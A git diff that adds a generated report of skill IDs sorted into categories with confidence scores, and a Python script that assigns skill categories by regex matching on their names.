+ azure-web-pubsub-ts: cloud-devops (confidenza: 0.61)
+ cloud-architect: cloud-devops (confidenza: 0.61)
+ cloud-penetration-testing: cloud-devops (confidenza: 0.61)
+ cloudflare-workers-expert: cloud-devops (confidenza: 0.61)
+ cloudformation-best-practices: cloud-devops (confidenza: 0.61)
+ email-sequence: marketing-growth (confidenza: 0.61)
+ email-systems: marketing-growth (confidenza: 0.61)
+ event-sourcing-architect: product-business (confidenza: 0.61)
+ event-store-design: product-business (confidenza: 0.61)
+ figma-automation: frontend (confidenza: 0.61)
+ imagen: cloud-devops (confidenza: 0.61)
+ istio-traffic-management: backend (confidenza: 0.61)
+ julia-pro: languages-frameworks (confidenza: 0.61)
+ linear-automation: web3-blockchain (confidenza: 0.61)
+ linear-claude-skill: web3-blockchain (confidenza: 0.61)
+ nosql-expert: database (confidenza: 0.61)
+ radix-ui-design-system: frontend (confidenza: 0.61)
+ react-best-practices: frontend (confidenza: 0.61)
+ react-flow-architect: frontend (confidenza: 0.61)
+ react-flow-node-ts: frontend (confidenza: 0.61)
+ react-modernization: frontend (confidenza: 0.61)
+ react-native-architecture: frontend (confidenza: 0.61)
+ react-patterns: frontend (confidenza: 0.61)
+ react-state-management: frontend (confidenza: 0.61)
+ react-ui-patterns: frontend (confidenza: 0.61)
+ sales-automator: product-business (confidenza: 0.61)
+ salesforce-automation: product-business (confidenza: 0.61)
+ salesforce-development: product-business (confidenza: 0.61)
+ scala-pro: languages-frameworks (confidenza: 0.61)
+ shellcheck-configuration: languages-frameworks (confidenza: 0.61)
+ slack-automation: product-business (confidenza: 0.61)
+ slack-bot-builder: product-business (confidenza: 0.61)
+ slack-gif-creator: product-business (confidenza: 0.61)
+ spark-optimization: data-engineering (confidenza: 0.61)
+ swiftui-expert-skill: mobile (confidenza: 0.61)
+ theme-factory: frontend (confidenza: 0.61)
+ unity-developer: game-development (confidenza: 0.61)
+ unity-ecs-patterns: game-development (confidenza: 0.61)
+ viral-generator-builder: marketing-growth (confidenza: 0.61)
+ ab-test-setup: marketing-growth (confidenza: 0.62)
+ bamboohr-automation: cloud-devops (confidenza: 0.62)
+ canvas-design: frontend (confidenza: 0.62)
+ claude-ally-health: ai-ml (confidenza: 0.62)
+ claude-code-guide: ai-ml (confidenza: 0.62)
+ claude-d3js-skill: ai-ml (confidenza: 0.62)
+ claude-in-chrome-troubleshooting: ai-ml (confidenza: 0.62)
+ claude-scientific-skills: ai-ml (confidenza: 0.62)
+ claude-settings-audit: ai-ml (confidenza: 0.62)
+ claude-speed-reader: ai-ml (confidenza: 0.62)
+ claude-win11-speckit-update-skill: ai-ml (confidenza: 0.62)
+ commit: cloud-devops (confidenza: 0.62)
+ convex: web3-blockchain (confidenza: 0.62)
+ crypto-bd-agent: web3-blockchain (confidenza: 0.62)
+ csharp-pro: languages-frameworks (confidenza: 0.62)
+ devops-troubleshooter: cloud-devops (confidenza: 0.62)
+ django-access-review: backend (confidenza: 0.62)
+ django-perf-review: backend (confidenza: 0.62)
+ django-pro: backend (confidenza: 0.62)
+ dotnet-architect: languages-frameworks (confidenza: 0.62)
+ dotnet-backend: languages-frameworks (confidenza: 0.62)
+ dotnet-backend-patterns: languages-frameworks (confidenza: 0.62)
+ elixir-pro: languages-frameworks (confidenza: 0.62)
+ gemini-api-dev: ai-ml (confidenza: 0.62)
+ gemini-api-integration: ai-ml (confidenza: 0.62)
+ kotlin-coroutines-expert: mobile (confidenza: 0.62)
+ mobile-design: mobile (confidenza: 0.62)
+ mobile-developer: mobile (confidenza: 0.62)
+ nextjs-app-router-patterns: frontend (confidenza: 0.62)
+ nextjs-best-practices: frontend (confidenza: 0.62)
+ nextjs-supabase-auth: frontend (confidenza: 0.62)
+ nodejs-backend-patterns: backend (confidenza: 0.62)
+ nodejs-best-practices: backend (confidenza: 0.62)
+ pentest-checklist: security (confidenza: 0.62)
+ pentest-commands: security (confidenza: 0.62)
+ prompt-caching: ai-ml (confidenza: 0.62)
+ prompt-engineering: ai-ml (confidenza: 0.62)
+ prompt-engineering-patterns: ai-ml (confidenza: 0.62)
+ prompt-library: ai-ml (confidenza: 0.62)
+ python-development-python-scaffold: languages-frameworks (confidenza: 0.62)
+ python-packaging: languages-frameworks (confidenza: 0.62)
+ python-patterns: languages-frameworks (confidenza: 0.62)
+ python-performance-optimization: languages-frameworks (confidenza: 0.62)
+ python-pro: languages-frameworks (confidenza: 0.62)
+ readme: documentation-content (confidenza: 0.62)
+ render-automation: cloud-devops (confidenza: 0.62)
+ schema-markup: database (confidenza: 0.62)
+ scroll-experience: web3-blockchain (confidenza: 0.62)
+ shodan-reconnaissance: security (confidenza: 0.62)
+ social-content: marketing-growth (confidenza: 0.62)
+ sqlmap-database-pentesting: security (confidenza: 0.62)
+ stitch-loop: data-engineering (confidenza: 0.62)
+ stitch-ui-design: data-engineering (confidenza: 0.62)
+ threat-mitigation-mapping: security (confidenza: 0.62)
+ threat-modeling-expert: security (confidenza: 0.62)
+ unreal-engine-cpp-pro: game-development (confidenza: 0.62)
+ vector-database-engineer: ai-ml (confidenza: 0.62)
+ vector-index-tuning: ai-ml (confidenza: 0.62)
+ vercel-automation: cloud-devops (confidenza: 0.62)
+ vercel-deploy-claimable: cloud-devops (confidenza: 0.62)
+ vercel-deployment: cloud-devops (confidenza: 0.62)
+ zapier-make-patterns: workflow-automation (confidenza: 0.62)
+ android-jetpack-compose-expert: mobile (confidenza: 0.63)
+ android_ui_verification: mobile (confidenza: 0.63)
+ angular: frontend (confidenza: 0.63)
+ angular-best-practices: frontend (confidenza: 0.63)
+ angular-migration: frontend (confidenza: 0.63)
+ angular-state-management: frontend (confidenza: 0.63)
+ angular-ui-patterns: frontend (confidenza: 0.63)
+ backend-architect: backend (confidenza: 0.63)
+ backend-dev-guidelines: backend (confidenza: 0.63)
+ backend-development-feature-development: backend (confidenza: 0.63)
+ browser-automation: frontend (confidenza: 0.63)
+ browser-extension-builder: frontend (confidenza: 0.63)
+ datadog-automation: data-engineering (confidenza: 0.63)
+ discord-automation: product-business (confidenza: 0.63)
+ discord-bot-architect: product-business (confidenza: 0.63)
+ fastapi-pro: backend (confidenza: 0.63)
+ fastapi-router-py: backend (confidenza: 0.63)
+ fastapi-templates: backend (confidenza: 0.63)
+ flutter-expert: mobile (confidenza: 0.63)
+ grafana-dashboards: data-engineering (confidenza: 0.63)
+ graphql: api-integration (confidenza: 0.63)
+ graphql-architect: api-integration (confidenza: 0.63)
+ haskell-pro: languages-frameworks (confidenza: 0.63)
+ jupyter-workflow: data-engineering (confidenza: 0.63)
+ laravel-expert: backend (confidenza: 0.63)
+ linkerd-patterns: backend (confidenza: 0.63)
+ openapi-spec-generation: backend (confidenza: 0.63)
+ pricing-strategy: product-business (confidenza: 0.63)
+ programmatic-seo: product-business (confidenza: 0.63)
+ project-development: product-business (confidenza: 0.63)
+ projection-patterns: product-business (confidenza: 0.63)
+ segment-automation: data-engineering (confidenza: 0.63)
+ segment-cdp: data-engineering (confidenza: 0.63)
+ service-mesh-expert: product-business (confidenza: 0.63)
+ service-mesh-observability: product-business (confidenza: 0.63)
+ startup-analyst: product-business (confidenza: 0.63)
+ startup-business-analyst-business-case: product-business (confidenza: 0.63)
+ startup-business-analyst-financial-projections: product-business (confidenza: 0.63)
+ startup-business-analyst-market-opportunity: product-business (confidenza: 0.63)
+ startup-financial-modeling: product-business (confidenza: 0.63)
+ startup-metrics-framework: product-business (confidenza: 0.63)
+ trigger-dev: database (confidenza: 0.63)
+ writing-plans: documentation-content (confidenza: 0.63)
+ app-store-optimization: mobile (confidenza: 0.64)
+ business-analyst: product-business (confidenza: 0.64)
+ circleci-automation: cloud-devops (confidenza: 0.64)
+ database-admin: database (confidenza: 0.64)
+ database-architect: database (confidenza: 0.64)
+ database-cloud-optimization-cost-optimize: database (confidenza: 0.64)
+ database-design: database (confidenza: 0.64)
+ database-migration: database (confidenza: 0.64)
+ database-migrations-migration-observability: database (confidenza: 0.64)
+ database-migrations-sql-migrations: database (confidenza: 0.64)
+ database-optimizer: database (confidenza: 0.64)
+ frontend-design: frontend (confidenza: 0.64)
+ frontend-dev-guidelines: frontend (confidenza: 0.64)
+ frontend-developer: frontend (confidenza: 0.64)
+ frontend-mobile-development-component-scaffold: frontend (confidenza: 0.64)
+ frontend-slides: frontend (confidenza: 0.64)
+ frontend-ui-dark-ts: frontend (confidenza: 0.64)
+ gitlab-ci-patterns: cloud-devops (confidenza: 0.64)
+ incident-responder: infrastructure-sre (confidenza: 0.64)
+ incident-response-incident-response: infrastructure-sre (confidenza: 0.64)
+ incident-response-smart-fix: infrastructure-sre (confidenza: 0.64)
+ incident-runbook-templates: infrastructure-sre (confidenza: 0.64)
+ linkedin-automation: data-engineering (confidenza: 0.64)
+ linkedin-cli: data-engineering (confidenza: 0.64)
+ planning-with-files: product-business (confidenza: 0.64)
+ referral-program: marketing-growth (confidenza: 0.64)
+ tailwind-design-system: frontend (confidenza: 0.64)
+ tailwind-patterns: frontend (confidenza: 0.64)
+ telegram-automation: product-business (confidenza: 0.64)
+ telegram-bot-builder: product-business (confidenza: 0.64)
+ telegram-mini-app: product-business (confidenza: 0.64)
+ temporal-golang-pro: data-engineering (confidenza: 0.64)
+ temporal-python-pro: data-engineering (confidenza: 0.64)
+ temporal-python-testing: data-engineering (confidenza: 0.64)
+ tutorial-engineer: product-business (confidenza: 0.64)
+ whatsapp-automation: product-business (confidenza: 0.64)
+ workflow-automation: product-business (confidenza: 0.64)
+ workflow-patterns: product-business (confidenza: 0.64)
+ workflow-skill-design: product-business (confidenza: 0.64)
+ algorithmic-art: product-business (confidenza: 0.65)
+ amplitude-automation: game-development (confidenza: 0.65)
+ conductor-implement: data-engineering (confidenza: 0.65)
+ conductor-manage: data-engineering (confidenza: 0.65)
+ conductor-new-track: data-engineering (confidenza: 0.65)
+ conductor-revert: data-engineering (confidenza: 0.65)
+ conductor-setup: data-engineering (confidenza: 0.65)
+ conductor-status: data-engineering (confidenza: 0.65)
+ conductor-validator: data-engineering (confidenza: 0.65)
+ embedding-strategies: ai-ml (confidenza: 0.65)
+ evolution: game-development (confidenza: 0.65)
+ framework-migration-code-migrate: product-business (confidenza: 0.65)
+ framework-migration-deps-upgrade: product-business (confidenza: 0.65)
+ framework-migration-legacy-modernize: product-business (confidenza: 0.65)
+ marketing-ideas: marketing-growth (confidenza: 0.65)
+ marketing-psychology: marketing-growth (confidenza: 0.65)
+ minecraft-bukkit-pro: game-development (confidenza: 0.65)
+ terraform-aws-modules: cloud-devops (confidenza: 0.65)
+ terraform-module-library: cloud-devops (confidenza: 0.65)
+ terraform-skill: cloud-devops (confidenza: 0.65)
+ terraform-specialist: cloud-devops (confidenza: 0.65)
+ web-design-guidelines: frontend (confidenza: 0.65)
+ wireshark-analysis: security (confidenza: 0.65)
+ 3d-web-experience: 3d-web (confidenza: 0.66)
+ active-directory-attacks: security (confidenza: 0.66)
+ attack-tree-construction: security (confidenza: 0.66)
+ blockchain-developer: web3-blockchain (confidenza: 0.66)
+ deployment-engineer: product-business (confidenza: 0.66)
+ deployment-pipeline-design: product-business (confidenza: 0.66)
+ deployment-procedures: product-business (confidenza: 0.66)
+ deployment-validation-config-validate: product-business (confidenza: 0.66)
+ evaluation: ai-ml (confidenza: 0.66)
+ javascript-mastery: languages-frameworks (confidenza: 0.66)
+ javascript-pro: languages-frameworks (confidenza: 0.66)
+ javascript-typescript-typescript-scaffold: languages-frameworks (confidenza: 0.66)
+ kubernetes-architect: cloud-devops (confidenza: 0.66)
+ metasploit-framework: security (confidenza: 0.66)
+ multi-cloud-architecture: cloud-devops (confidenza: 0.66)
+ playwright-skill: testing-qa (confidenza: 0.66)
+ powershell-windows: languages-frameworks (confidenza: 0.66)
+ prometheus-configuration: data-engineering (confidenza: 0.66)
+ typescript-advanced-types: languages-frameworks (confidenza: 0.66)
+ typescript-pro: languages-frameworks (confidenza: 0.66)
+ api-testing-observability-api-mock: testing-qa (confidenza: 0.67)
+ backtesting-frameworks: testing-qa (confidenza: 0.67)
+ bats-testing-patterns: testing-qa (confidenza: 0.67)
+ data-quality-frameworks: data-engineering (confidenza: 0.67)
+ e2e-testing-patterns: testing-qa (confidenza: 0.67)
+ ethical-hacking-methodology: security (confidenza: 0.67)
+ hybrid-cloud-architect: cloud-devops (confidenza: 0.67)
+ hybrid-cloud-networking: cloud-devops (confidenza: 0.67)
+ javascript-testing-patterns: testing-qa (confidenza: 0.67)
+ malware-analyst: security (confidenza: 0.67)
+ performance-engineer: product-business (confidenza: 0.67)
+ performance-profiling: product-business (confidenza: 0.67)
+ performance-testing-review-ai-review: testing-qa (confidenza: 0.67)
+ performance-testing-review-multi-agent-review: testing-qa (confidenza: 0.67)
+ python-testing-patterns: testing-qa (confidenza: 0.67)
+ screen-reader-testing: testing-qa (confidenza: 0.67)
+ smtp-penetration-testing: testing-qa (confidenza: 0.67)
+ ssh-penetration-testing: testing-qa (confidenza: 0.67)
+ testing-handbook-skills: testing-qa (confidenza: 0.67)
+ testing-patterns: testing-qa (confidenza: 0.67)
+ unit-testing-test-generate: testing-qa (confidenza: 0.67)
+ web3-testing: testing-qa (confidenza: 0.67)
+ webapp-testing: testing-qa (confidenza: 0.67)
+ wordpress-penetration-testing: testing-qa (confidenza: 0.67)
+ api-security-best-practices: security (confidenza: 0.68)
+ azure-security-keyvault-keys-dotnet: security (confidenza: 0.68)
+ azure-security-keyvault-keys-java: security (confidenza: 0.68)
+ azure-security-keyvault-secrets-java: security (confidenza: 0.68)
+ backend-security-coder: security (confidenza: 0.68)
+ cc-skill-security-review: security (confidenza: 0.68)
+ data-engineer: data-engineering (confidenza: 0.68)
+ data-engineering-data-driven-feature: data-engineering (confidenza: 0.68)
+ data-engineering-data-pipeline: data-engineering (confidenza: 0.68)
+ frontend-mobile-security-xss-scan: security (confidenza: 0.68)
+ frontend-security-coder: security (confidenza: 0.68)
+ gha-security-review: security (confidenza: 0.68)
+ golang-security-auditor: security (confidenza: 0.68)
+ k8s-security-policies: security (confidenza: 0.68)
+ laravel-security-audit: security (confidenza: 0.68)
+ mobile-security-coder: security (confidenza: 0.68)
+ odoo-security-rules: security (confidenza: 0.68)
+ python-security-auditor: security (confidenza: 0.68)
+ rust-security-auditor: security (confidenza: 0.68)
+ scanning-tools: security (confidenza: 0.68)
+ security-auditor: security (confidenza: 0.68)
+ security-bluebook-builder: security (confidenza: 0.68)
+ security-compliance-compliance-check: security (confidenza: 0.68)
+ security-requirement-extraction: security (confidenza: 0.68)
+ security-scanning-security-dependencies: security (confidenza: 0.68)
+ security-scanning-security-hardening: security (confidenza: 0.68)
+ security-scanning-security-sast: security (confidenza: 0.68)
+ security-skill-creator: security (confidenza: 0.68)
+ skill-creator-ms: meta (confidenza: 0.68)
+ solidity-security: security (confidenza: 0.68)
+ threejs-animation: 3d-web (confidenza: 0.68)
+ threejs-fundamentals: 3d-web (confidenza: 0.68)
+ threejs-geometry: 3d-web (confidenza: 0.68)
+ threejs-interaction: 3d-web (confidenza: 0.68)
+ threejs-lighting: 3d-web (confidenza: 0.68)
+ threejs-loaders: 3d-web (confidenza: 0.68)
+ threejs-materials: 3d-web (confidenza: 0.68)
+ threejs-postprocessing: 3d-web (confidenza: 0.68)
+ threejs-shaders: 3d-web (confidenza: 0.68)
+ threejs-skills: 3d-web (confidenza: 0.68)
+ threejs-textures: 3d-web (confidenza: 0.68)
+ anti-reversing-techniques: security (confidenza: 0.69)
+ documentation-generation-doc-generate: product-business (confidenza: 0.69)
+ documentation-templates: product-business (confidenza: 0.69)
+ github-actions-templates: cloud-devops (confidenza: 0.69)
+ html-injection-testing: security (confidenza: 0.69)
+ memory-forensics: security (confidenza: 0.69)
+ microservices-patterns: backend (confidenza: 0.69)
+ observability-engineer: infrastructure-sre (confidenza: 0.69)
+ observability-monitoring-monitor-setup: infrastructure-sre (confidenza: 0.69)
+ observability-monitoring-slo-implement: infrastructure-sre (confidenza: 0.69)
+ sql-injection-testing: security (confidenza: 0.69)
+ xss-html-injection: security (confidenza: 0.69)
+
+--------------------------------------------------------------------------------
+SKILLS NON CATEGORIZZATE (472)
+--------------------------------------------------------------------------------
+ accessibility-compliance-accessibility-audit
+ activecampaign-automation
+ address-github-comments
+ advanced-evaluation
+ agentfolio
+ agentic-actions-auditor
+ agentmail
+ agents-md
+ agents-v2-py
+ algolia-search
+ alpha-vantage
+ analytics-tracking
+ antigravity-workflows
+ app-builder
+ appdeploy
+ application-performance-performance-optimization
+ architect-review
+ architecture
+ architecture-decision-records
+ architecture-patterns
+ arm-cortex-expert
+ asana-automation
+ ask-questions-if-underspecified
+ async-python-patterns
+ audit-context-building
+ automate-whatsapp
+ autonomous-agent-patterns
+ autonomous-agents
+ azd-deployment
+ bazel-build-optimization
+ bdi-mental-states
+ beautiful-prose
+ behavioral-modes
+ billing-automation
+ binary-analysis-patterns
+ biopython
+ bitbucket-automation
+ blockrun
+ blog-writing-guide
+ box-automation
+ brainstorming
+ brand-guidelines
+ brand-guidelines-anthropic
+ brand-guidelines-community
+ brevo-automation
+ broken-authentication
+ build
+ building-native-ui
+ building-secure-contracts
+ bullmq-specialist
+ ... e altre 422
+
+================================================================================
\ No newline at end of file
diff --git a/categorize_skills.py b/categorize_skills.py
new file mode 100644
index 00000000..f95bc4c2
--- /dev/null
+++ b/categorize_skills.py
@@ -0,0 +1,4119 @@
+#!/usr/bin/env python3
+"""
+Script per categorizzare automaticamente le skills nel file skills.json
+Basato su pattern matching degli ID delle skills.
+"""
+
+import json
+import re
+from pathlib import Path
+from typing import Dict, List, Tuple, Optional
+from collections import defaultdict
+
+# Definizione delle categorie e dei pattern di matching
+# Ordine importante: le regole più specifiche devono venire prima
+CATEGORY_RULES: List[Tuple[str, List[str]]] = [
+ # AI/ML - molto specifico
+ ("ai-ml", [
+ r"^agent[-_]",
+ r"^ai[-_]?",
+ r"^llm[-_]?",
+ r"^prompt[-_]?",
+ r"^rag[-_]?",
+ r"^embedding[-_]?",
+ r"^ml[-_]?",
+ r"^nlp[-_]?",
+ r"^openai[-_]?",
+ r"^anthropic[-_]?",
+ r"langchain",
+ r"langgraph",
+ r"langfuse",
+ r"crewai",
+ r"^evaluation[-_]?",
+ r"^inference[-_]?",
+ r"^fine[-_]?tuning",
+ r"^vector[-_]?",
+ r"^similarity[-_]?search",
+ r"^semantic[-_]?",
+ r"^transformer[-_]?",
+ r"^model[-_]?",
+ r"^chatbot[-_]?",
+ r"^gpt[-_]?",
+ r"^claude[-_]?",
+ r"^gemini[-_]?",
+ r"^huggingface[-_]?",
+ r"^training[-_]?",
+ r"^prediction[-_]?",
+ r"^classification[-_]?",
+ r"^clustering[-_]?",
+ r"^recommendation[-_]?",
+ ]),
+
+ # Security/Penetration Testing
+ ("security", [
+ r"[-_]?pentest",
+ r"[-_]?security[-_]?",
+ r"pentesting",
+ r"[-_]?attack[-_]?",
+ r"[-_]?exploit[-_]?",
+ r"[-_]?injection[-_]?",
+ r"[-_]?scanning[-_]?",
+ r"[-_]?vulnerability[-_]?",
+ r"[-_]?malware[-_]?",
+ r"[-_]?forensics[-_]?",
+ r"[-_]?hacking[-_]?",
+ r"[-_]?reversing[-_]?",
+ r"^active[-_]?directory[-_]?",
+ r"^windows[-_]?privilege",
+ r"^linux[-_]?privilege",
+ r"^privilege[-_]?escalation",
+ r"^sql[-_]?injection",
+ r"^xss[-_]?",
+ r"^idor[-_]?",
+ r"^csrf[-_]?",
+ r"^brute[-_]?force",
+ r"^cryptography[-_]?",
+ r"^encryption[-_]?",
+ r"^oauth[-_]?",
+ r"^auth[-_]?",
+ r"^firewall[-_]?",
+ r"^ids[-_]?",
+ r"^ips[-_]?",
+ r"^siem[-_]?",
+ r"^threat[-_]?",
+ r"^risk[-_]?",
+ r"^compliance[-_]?audit",
+ r"^sast[-_]?",
+ r"^dast[-_]?",
+ r"^owasp[-_]?",
+ r"^nessus[-_]?",
+ r"^nmap[-_]?",
+ r"^metasploit[-_]?",
+ r"^burp[-_]?",
+ r"^wireshark[-_]?",
+ r"^shodan[-_]?",
+ r"^cobalt[-_]?",
+ r"^bloodhound[-_]?",
+ r"^mimikatz[-_]?",
+ r"^hashcat[-_]?",
+ r"^john[-_]?",
+ r"^hydra[-_]?",
+ ]),
+
+ # Frontend/Web Development
+ ("frontend", [
+ r"^react[-_]?",
+ r"^nextjs[-_]?",
+ r"^vue[-_]?",
+ r"^angular[-_]?",
+ r"^svelte[-_]?",
+ r"^frontend[-_]?",
+ r"^css[-_]?",
+ r"^tailwind[-_]?",
+ r"^ui[-_]?",
+ r"^ux[-_]?",
+ r"^html[-_]?",
+ r"^dom[-_]?",
+ r"^web[-_]?design",
+ r"^component[-_]?",
+ r"^layout[-_]?",
+ r"^responsive[-_]?",
+ r"^animation[-_]?",
+ r"^interaction[-_]?",
+ r"^form[-_]?",
+ r"^input[-_]?",
+ r"^button[-_]?",
+ r"^modal[-_]?",
+ r"^dropdown[-_]?",
+ r"^navbar[-_]?",
+ r"^sidebar[-_]?",
+ r"^card[-_]?",
+ r"^grid[-_]?",
+ r"^flex[-_]?",
+ r"^theme[-_]?",
+ r"^style[-_]?",
+ r"^sass[-_]?",
+ r"^less[-_]?",
+ r"^bootstrap[-_]?",
+ r"^material[-_]?",
+ r"^mui[-_]?",
+ r"^chakra[-_]?",
+ r"^ant[-_]?design",
+ r"^shadcn[-_]?",
+ r"^radix[-_]?",
+ r"^storybook[-_]?",
+ r"^figma[-_]?",
+ r"^sketch[-_]?",
+ r"^adobe[-_]?xd",
+ r"^webpack[-_]?",
+ r"^vite[-_]?",
+ r"^parcel[-_]?",
+ r"^esbuild[-_]?",
+ r"^rollup[-_]?",
+ r"^babel[-_]?",
+ r"^postcss[-_]?",
+ r"^autoprefixer[-_]?",
+ r"^browser[-_]?",
+ r"^canvas[-_]?",
+ r"^svg[-_]?",
+ r"^icon[-_]?",
+ r"^font[-_]?",
+ r"^typography[-_]?",
+ r"^color[-_]?",
+ r"^gradient[-_]?",
+ r"^shadow[-_]?",
+ r"^border[-_]?",
+ r"^spacing[-_]?",
+ r"^padding[-_]?",
+ r"^margin[-_]?",
+ r"^position[-_]?",
+ r"^display[-_]?",
+ r"^float[-_]?",
+ r"^clear[-_]?",
+ r"^overflow[-_]?",
+ r"^z[-_]?index",
+ r"^opacity[-_]?",
+ r"^visibility[-_]?",
+ r"^clip[-_]?",
+ r"^mask[-_]?",
+ r"^blend[-_]?",
+ r"^filter[-_]?",
+ r"^transform[-_]?",
+ r"^transition[-_]?",
+ ]),
+
+ # Mobile Development
+ ("mobile", [
+ r"^ios[-_]?",
+ r"^android[-_]?",
+ r"^react[-_]?native",
+ r"^flutter[-_]?",
+ r"^swift[-_]?",
+ r"^kotlin[-_]?",
+ r"^mobile[-_]?",
+ r"^app[-_]?store",
+ r"^play[-_]?store",
+ r"^xcode[-_]?",
+ r"^android[-_]?studio",
+ r"^gradle[-_]?",
+ r"^cocoapods[-_]?",
+ r"^jetpack[-_]?",
+ r"^swiftui[-_]?",
+ r"^uikit[-_]?",
+ r"^jetpack[-_]?compose",
+ r"^cordova[-_]?",
+ r"^ionic[-_]?",
+ r"^capacitor[-_]?",
+ r"^expo[-_]?",
+ r"^native[-_]?script",
+ ]),
+
+ # Backend Development
+ ("backend", [
+ r"^nodejs[-_]?",
+ r"^express[-_]?",
+ r"^fastify[-_]?",
+ r"^koa[-_]?",
+ r"^nest[-_]?",
+ r"^django[-_]?",
+ r"^flask[-_]?",
+ r"^fastapi[-_]?",
+ r"^tornado[-_]?",
+ r"^spring[-_]?",
+ r"^springboot[-_]?",
+ r"^laravel[-_]?",
+ r"^symfony[-_]?",
+ r"^codeigniter[-_]?",
+ r"^cakephp[-_]?",
+ r"^ruby[-_]?on[-_]?rails",
+ r"^sinatra[-_]?",
+ r"^phoenix[-_]?",
+ r"^play[-_]?framework",
+ r"^akka[-_]?",
+ r"^ktor[-_]?",
+ r"^micronaut[-_]?",
+ r"^quarkus[-_]?",
+ r"^vert[-_]?x",
+ r"^gRPC[-_]?",
+ r"^thrift[-_]?",
+ r"^soap[-_]?",
+ r"^xml[-_]?rpc",
+ r"^rest[-_]?",
+ r"^json[-_]?rpc",
+ r"^openapi[-_]?",
+ r"^swagger[-_]?",
+ r"^postman[-_]?",
+ r"^insomnia[-_]?",
+ r"^hoppscotch[-_]?",
+ r"^api[-_]?gateway",
+ r"^kong[-_]?",
+ r"^zuul[-_]?",
+ r"^tyk[-_]?",
+ r"^ambassador[-_]?",
+ r"^istio[-_]?",
+ r"^linkerd[-_]?",
+ r"^envoy[-_]?",
+ r"^consul[-_]?",
+ r"^traefik[-_]?",
+ r"^nginx[-_]?",
+ r"^haproxy[-_]?",
+ r"^caddy[-_]?",
+ r"^apache[-_]?",
+ r"^tomcat[-_]?",
+ r"^jetty[-_]?",
+ r"^undertow[-_]?",
+ r"^netty[-_]?",
+ r"^weblogic[-_]?",
+ r"^websphere[-_]?",
+ r"^jboss[-_]?",
+ r"^wildfly[-_]?",
+ r"^glassfish[-_]?",
+ r"^payara[-_]?",
+ r"^backend[-_]?",
+ r"^server[-_]?side",
+ r"^microservices[-_]?",
+ r"^soa[-_]?",
+ r"^event[-_]?driven",
+ r"^message[-_]?queue",
+ r"^message[-_]?broker",
+ r"^rabbitmq[-_]?",
+ r"^kafka[-_]?",
+ r"^activemq[-_]?",
+ r"^zeromq[-_]?",
+ r"^nats[-_]?",
+ r"^pulsar[-_]?",
+ r"^rocketmq[-_]?",
+ r"^sqs[-_]?",
+ r"^sns[-_]?",
+ r"^eventbridge[-_]?",
+ r"^kinesis[-_]?",
+ r"^pub[-_]?sub",
+ r"^webhook[-_]?",
+ r"^sse[-_]?",
+ r"^websocket[-_]?",
+ r"^socket[-_]?io",
+ r"^ws[-_]?",
+ r"^rtc[-_]?",
+ r"^real[-_]?time",
+ r"^push[-_]?notification",
+ r"^polling[-_]?",
+ r"^long[-_]?polling",
+ r"^streaming[-_]?",
+ r"^chunked[-_]?",
+ r"^buffer[-_]?",
+ r"^cache[-_]?",
+ r"^caching[-_]?",
+ r"^session[-_]?",
+ r"^cookie[-_]?",
+ r"^jwt[-_]?",
+ r"^oauth[-_]?",
+ r"^oidc[-_]?",
+ r"^sso[-_]?",
+ r"^saml[-_]?",
+ r"^ldap[-_]?",
+ r"^active[-_]?directory[-_]?auth",
+ r"^rbac[-_]?",
+ r"^acl[-_]?",
+ r"^permission[-_]?",
+ r"^authorization[-_]?",
+ r"^authentication[-_]?",
+ r"^auth[-_]?z",
+ r"^auth[-_]?n",
+ r"^rate[-_]?limit",
+ r"^throttle[-_]?",
+ r"^quota[-_]?",
+ r"^circuit[-_]?breaker",
+ r"^retry[-_]?",
+ r"^timeout[-_]?",
+ r"^deadline[-_]?",
+ r"^backoff[-_]?",
+ r"^jitter[-_]?",
+ r"^load[-_]?balancing",
+ r"^failover[-_]?",
+ r"^high[-_]?availability",
+ r"^fault[-_]?tolerance",
+ r"^resilience[-_]?",
+ r"^graceful[-_]?degradation",
+ r"^bulkhead[-_]?",
+ r"^hedge[-_]?",
+ r"^sidecar[-_]?",
+ r"^proxy[-_]?",
+ r"^reverse[-_]?proxy",
+ r"^forward[-_]?proxy",
+ r"^gateway[-_]?",
+ r"^edge[-_]?",
+ r"^cdn[-_]?",
+ r"^origin[-_]?",
+ r"^s3[-_]?",
+ r"^blob[-_]?",
+ r"^object[-_]?storage",
+ r"^file[-_]?storage",
+ r"^block[-_]?storage",
+ r"^nas[-_]?",
+ r"^san[-_]?",
+ r"^nfs[-_]?",
+ r"^smb[-_]?",
+ r"^cifs[-_]?",
+ r"^ftp[-_]?",
+ r"^sftp[-_]?",
+ r"^ftps[-_]?",
+ r"^scp[-_]?",
+ r"^rsync[-_]?",
+ r"^webdav[-_]?",
+ r"^s3fs[-_]?",
+ r"^fuse[-_]?",
+ r"^mount[-_]?",
+ r"^volume[-_]?",
+ r"^disk[-_]?",
+ r"^partition[-_]?",
+ r"^raid[-_]?",
+ r"^lvm[-_]?",
+ r"^zfs[-_]?",
+ r"^btrfs[-_]?",
+ r"^ext[-_]?",
+ r"^xfs[-_]?",
+ r"^ntfs[-_]?",
+ r"^fat[-_]?",
+ r"^apfs[-_]?",
+ r"^hfs[-_]?",
+ r"^ufs[-_]?",
+ r"^jfs[-_]?",
+ r"^reiserfs[-_]?",
+ ]),
+
+ # Cloud & DevOps
+ ("cloud-devops", [
+ r"^aws[-_]?",
+ r"^gcp[-_]?",
+ r"^azure[-_]?",
+ r"^cloud[-_]?",
+ r"^devops[-_]?",
+ r"^sre[-_]?",
+ r"^platform[-_]?",
+ r"^k8s[-_]?",
+ r"^kubernetes[-_]?",
+ r"^helm[-_]?",
+ r"^terraform[-_]?",
+ r"^pulumi[-_]?",
+ r"^ansible[-_]?",
+ r"^puppet[-_]?",
+ r"^chef[-_]?",
+ r"^salt[-_]?",
+ r"^vagrant[-_]?",
+ r"^packer[-_]?",
+ r"^docker[-_]?",
+ r"^container[-_]?",
+ r"^containerd[-_]?",
+ r"^cri[-_]?o",
+ r"^rkt[-_]?",
+ r"^podman[-_]?",
+ r"^buildah[-_]?",
+ r"^skopeo[-_]?",
+ r"^kaniko[-_]?",
+ r"^jib[-_]?",
+ r"^img[-_]?",
+ r"^lxc[-_]?",
+ r"^lxd[-_]?",
+ r"^systemd[-_]?nspawn",
+ r"^chroot[-_]?",
+ r"^jail[-_]?",
+ r"^zone[-_]?",
+ r"^cgroup[-_]?",
+ r"^namespace[-_]?",
+ r"^unionfs[-_]?",
+ r"^overlayfs[-_]?",
+ r"^aufs[-_]?",
+ r"^btrfs[-_]?",
+ r"^zfs[-_]?",
+ r"^snapshot[-_]?",
+ r"^commit[-_]?",
+ r"^image[-_]?",
